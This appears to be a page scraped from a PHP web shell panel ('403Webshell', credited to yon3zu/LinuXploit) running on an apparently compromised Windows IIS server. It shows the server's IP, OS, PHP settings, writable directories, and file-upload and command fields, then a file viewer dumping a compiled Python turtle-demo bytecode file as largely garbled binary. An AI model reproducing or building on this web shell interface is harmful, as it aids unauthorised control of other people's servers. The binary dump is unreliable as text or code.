403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Python315/Lib/turtledemo/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Python315/Lib/turtledemo/__pycache__/minimal_hanoi.cpython-315.pyc
R
>lqj�c��Qs]QH3QQ\2sQQ\2sQsQsQs\	Q	6Xc\2s
\\
2\2P!P!)
aNturtledemo/minimal_hanoi.py

A minimal 'Towers of Hanoi' animation:
A tower of 6 discs is transferred from the
left to the right peg.

An imho quite elegant and concise
implementation using a tower class, which
is derived from the built-in type list.

Discs are turtles with shape "square", but
stretched to rectangles by shapesize()
)�*c�(`�\sQs]snQsQsUsP!)�Discc��[OUQP
Q5UO2UOQUQ*]2UO	UQ*]]UQ**
2UO2P!)�square)�shape�visibleg�?g@)�Turtle�__init__�pu�	shapesize�	fillcolor�st)�self�ns&&�-C:\Python315\\Lib\turtledemo\minimal_hanoi.pyr	�
Disc.__init__sV������H�e��<����	����s�A�c�E�1�%����q��t�Q��!�B�$��'����	��)�__name__�
__module__�__qualname__�__firstlineno__r	�__static_attributes__�__classdictcell__��
__classdict__s@rrrs�����rrc�8`�\sQs]snQsQsQsQsQsUs	P!)�Towerz-Hanoi tower, a subclass of built-in type listc��VmP!)z-create an empty tower. x is x-position of peg��x)rr s&&rr	�Tower.__init__s���rc��UOUO2UOQ]"[U2**2UO	U2P!)�ij���)�setxr �sety�len�append�r�ds&&r�push�
Tower.pushs5��	���t�v�v��	���t�B�s�4�y�L� �!����A�rc�T�[OU2oUO]�2U!)r#)�list�popr%r(s& rr.�	Tower.pop!s���H�H�T�N��	���s���rr)
rrrr�__doc__r	r*r.rrrs@rrrs����3����rrc��U]6�cJ[U]*
VU2UOUO22[U]*
V!U2P!P!)�)�hanoir*r.)r�from_�with_�to_s&&&&rr3r3&s@���1�u�
�a��c�5�u�%���������
�a��c�5��%�
rc��[PQ2[2[][[[
2[
QQQQ5P![cP!h9h)N�spacezpress STOP button to exit�center��align�font��Courier��bold)�onkey�clearr3�t1�t2�t3�write�
Terminatorrrr�playrH,sG��	�$�w��	�G�
�
�a��R���
�)��#:�	<���
��
�s�(A�	A�
A�Ac�@�[2[2[]Q2[Q2r[]2r[]�2r[]]P2FD!o[O[U22J#	[QQQQ5[[Q2[2Q!)	r2zpress spacebar to start gamer9r:r8�	EVENTLOOPi���i���r=)�ht�penup�gotorrCrDrE�ranger*rrFrArH�listen)�is r�mainrQ6su���D�%�'�4��4�=�	�t��B�	�q��B�	�s��B�
�1�Q�r�]��
����Q����
�
(��6�8�	�$���
�H�r�__main__)
r0�turtlerrr-rr3rHrQr�msg�print�mainlooprrr�<module>rWsX�����6���D��&�
�� �Z��
�&�C�	�#�J��J�r

Youez - 2016 - github.com/yon3zu
LinuXploit